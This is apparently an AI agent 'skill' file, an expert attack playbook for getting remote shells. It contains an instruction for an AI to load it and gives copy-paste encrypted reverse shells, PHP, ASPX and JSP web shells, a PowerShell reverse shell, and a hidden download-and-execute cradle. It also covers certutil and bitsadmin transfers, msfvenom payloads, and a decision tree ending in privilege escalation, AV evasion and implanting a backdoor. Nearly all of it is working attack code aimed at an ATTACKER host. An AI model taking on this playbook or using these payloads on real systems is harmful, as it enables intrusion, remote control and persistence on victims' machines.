reverse-shell-techniques

name	reverse-shell-techniques
description	Reverse shell techniques playbook. Use when establishing remote shells including language one-liners, encrypted shells (OpenSSL/socat/ncat), web shells, PTY upgrades, file transfer methods, PowerShell shells, and Windows payload generation.

SKILL: Reverse Shell Techniques — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert reverse shell techniques. Covers reverse/bind shell decisions, encrypted shells (OpenSSL, socat SSL, ncat), web shell patterns (PHP/ASPX/JSP), PTY upgrade sequences, file transfer methods, PowerShell download cradles, and msfvenom payload generation. Base models miss encrypted shell syntax, proper PTY stabilization, and platform-specific transfer techniques.

0. RELATED ROUTING

Before going deep, consider loading:

• tunneling-and-pivoting after shell access for network pivoting
• linux-privilege-escalation or windows-privilege-escalation after landing shell
• windows-av-evasion when AV blocks shell payloads

Quick Reference

Also load SHELL_CHEATSHEET.md when you need:

• Complete one-liner reverse shells for 20+ languages
• Copy-paste ready payloads with placeholder substitution

---

1. REVERSE vs BIND SHELL DECISION

Factor	Reverse Shell	Bind Shell
Firewall (egress)	Works if outbound allowed	Blocked by egress filtering
Firewall (ingress)	Not blocked	Requires inbound access to victim
NAT	Works (victim connects out)	Fails (can't reach victim behind NAT)
Detection	Outbound connection — less suspicious	Listening port — easily detected
Default choice	Almost always preferred	Only when no egress + have inbound

---

2. ENCRYPTED SHELLS

OpenSSL Reverse Shell

# Attacker: generate cert + listen
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes -subj '/CN=localhost'
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444

# Victim:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ATTACKER:4444 > /tmp/s; rm /tmp/s

Socat Encrypted Shell

# Attacker: generate cert + listen
openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 30 -out shell.crt
cat shell.key shell.crt > shell.pem
socat OPENSSL-LISTEN:4444,cert=shell.pem,verify=0,fork STDOUT

# Victim:
socat OPENSSL:ATTACKER:4444,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

Ncat SSL

# Attacker:
ncat --ssl -lvnp 4444

# Victim:
ncat --ssl ATTACKER 4444 -e /bin/bash

---

3. WEB SHELLS

PHP

<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
<?php passthru($_REQUEST['cmd']); ?>

<!-- Minimal stealth shell -->
<?=`$_GET[0]`?>

<!-- POST-based with password -->
<?php if($_POST['k']==='SECRET'){system($_POST['cmd']);} ?>

ASPX

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<% Process.Start(new ProcessStartInfo("cmd.exe","/c "+Request["cmd"]){UseShellExecute=false,RedirectStandardOutput=true}).StandardOutput.ReadToEnd(); %>

JSP

<%@ page import="java.io.*" %>
<% Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
String l;while((l=br.readLine())!=null){out.println(l);} %>

Upload + Trigger Patterns

1. Find upload endpoint → upload shell with allowed extension bypass
2. Locate uploaded file (predictable path, directory listing, response leak)
3. Trigger: GET /uploads/shell.php?cmd=id
4. Upgrade to reverse shell: ?cmd=bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'

---

4. PTY UPGRADE SEQUENCE

Standard Python Upgrade

# Step 1: Spawn PTY
python3 -c 'import pty;pty.spawn("/bin/bash")'

# Step 2: Background shell
# Press Ctrl+Z

# Step 3: Configure terminal (on attacker)
stty raw -echo; fg

# Step 4: Set environment (back in shell)
export TERM=xterm-256color
stty rows 40 cols 160

Alternative Upgrades

# script command
script /dev/null -c bash

# socat full PTY (requires socat on victim)
# Attacker:
socat file:`tty`,raw,echo=0 tcp-listen:4444
# Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER:4444

# rlwrap for readline support (attacker side)
rlwrap nc -lvnp 4444

# expect
/usr/bin/expect -c 'spawn bash; interact'

---

5. FILE TRANSFER METHODS

Linux

# wget / curl
wget http://ATTACKER:8000/file -O /tmp/file
curl http://ATTACKER:8000/file -o /tmp/file

# Python HTTP server (attacker side)
python3 -m http.server 8000

# nc file transfer
# Receiver:
nc -lvnp 9999 > file
# Sender:
nc RECEIVER 9999 < file

# base64 encode/decode (no tools needed)
# Encode on source:
base64 -w0 file
# Paste on target:
echo "BASE64_STRING" | base64 -d > file

# scp through pivot
scp -o ProxyJump=pivot user@target:/path/file ./local

Windows

# PowerShell DownloadFile
(New-Object Net.WebClient).DownloadFile('http://ATTACKER/file','C:\temp\file')

# PowerShell Invoke-WebRequest (PS 3.0+)
Invoke-WebRequest -Uri http://ATTACKER/file -OutFile C:\temp\file
iwr http://ATTACKER/file -o C:\temp\file

# certutil
certutil -urlcache -f http://ATTACKER/file C:\temp\file

# bitsadmin
bitsadmin /transfer job /download /priority high http://ATTACKER/file C:\temp\file

# SMB share (attacker hosts)
# Attacker: impacket-smbserver share /tmp/share -smb2support
copy \\ATTACKER\share\file C:\temp\file

---

6. POWERSHELL REVERSE SHELLS

# One-liner TCP reverse shell
$c=New-Object Net.Sockets.TCPClient('ATTACKER',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()

# Download cradle + execute
powershell -nop -w hidden -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"

# Base64 encoded execution
$cmd = '...reverse shell code...'
$bytes = [Text.Encoding]::Unicode.GetBytes($cmd)
$encoded = [Convert]::ToBase64String($bytes)
powershell -ep bypass -enc $encoded

---

7. MSFVENOM PAYLOADS

# Linux reverse shell (ELF)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f elf -o shell

# Windows reverse shell (EXE)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f exe -o shell.exe

# Meterpreter (staged)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -f exe -o meter.exe

# Web payloads
msfvenom -p php/reverse_php LHOST=ATTACKER LPORT=4444 -f raw > shell.php
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f raw > shell.jsp
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f aspx -o shell.aspx

# DLL / HTA / VBS
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f dll -o evil.dll
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f hta-psh -o evil.hta
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f vbs -o evil.vbs

---

8. DECISION TREE

Need remote shell on target
│
├── Can execute commands already (RCE)?
│   ├── Linux target?
│   │   ├── bash/python/perl available? → one-liner reverse shell (CHEATSHEET.md)
│   │   ├── Need encryption? → OpenSSL or socat SSL shell (§2)
│   │   └── Outbound blocked? → bind shell or tunnel (see tunneling-and-pivoting)
│   │
│   ├── Windows target?
│   │   ├── PowerShell available? → PS reverse shell (§6)
│   │   ├── Need binary? → msfvenom payload (§7)
│   │   └── AV blocking? → load windows-av-evasion skill
│   │
│   └── Web server (upload possible)?
│       ├── PHP? → PHP web shell (§3) → upgrade to reverse shell
│       ├── ASP.NET? → ASPX shell (§3)
│       └── Java/Tomcat? → JSP shell (§3)
│
├── Got a dumb shell?
│   ├── Python available? → PTY upgrade (§4)
│   ├── script available? → script /dev/null -c bash (§4)
│   ├── socat on target? → socat full PTY (§4)
│   └── None? → rlwrap on attacker side for readline
│
├── Need to transfer tools?
│   ├── Linux: wget/curl/nc/base64 (§5)
│   ├── Windows: certutil/PowerShell/bitsadmin/SMB (§5)
│   └── No outbound? → base64 copy-paste (§5)
│
└── Shell established — next steps?
    ├── Privilege escalation → load linux/windows-privilege-escalation
    ├── Pivot to internal network → load tunneling-and-pivoting
    └── Persistence → implant backdoor